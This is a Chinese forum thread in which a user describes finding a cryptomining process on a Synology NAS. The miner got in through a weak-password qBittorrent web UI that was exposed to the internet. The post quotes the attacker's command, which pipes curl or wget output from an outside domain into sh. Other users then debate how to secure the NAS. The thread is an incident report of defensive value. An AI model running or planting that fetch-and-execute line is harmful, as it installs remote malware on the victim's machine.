记一次群晖开 qbittorrent 被植入挖矿代码

[hiyoi]

起因：
偶然发现群晖 cpu 内存占用率很高。

查看进程发现有个进程以 qbittornet 用户运行这一个 名叫./PHsyYPRT 进程，名字很古怪，占了 2 核 cpu ，30%内存。

起初怀疑是 qbit 问题，马上停止套件，进程消失。 但是又过了几天，又发现相同的进程。 一顿搜索

参考：
https://www.reddit.com/r/synology/comments/1co3toi/rogue_process_eating_ram/?tl=zh-hans

发现攻击者可以在 web ui, 设置 torrent 下载完成时执行外部程序：
sh -c "(curl -sk https://fulminare.top || wget --no-check-certificate -qO - https://fulminare.top) | sh"

考虑到之前 web ui 曾开到公网过，且用了弱密码。被轻易爆破的可能性很大。

赶紧把 web ui 公网关掉。

[starrys]

@hiyoi #19 真是带不动你。楼上那么多人说要组网、防火墙控制，感觉你都没听进去，仍然觉得设置 2FA 、强密码就可以了，这样虽然安全程度有所提升，但还不够的，原因是“应用程序可能存在未知的漏洞导致你的主机被攻破”。

[hiyoi]

@starrys 你要这么说，那就没有什么应用程序是绝对的安全。 强密码+2FA 是现在公认的比较安全的方案。

btw ，我已经把 qbit web ui 端口转发公网关了。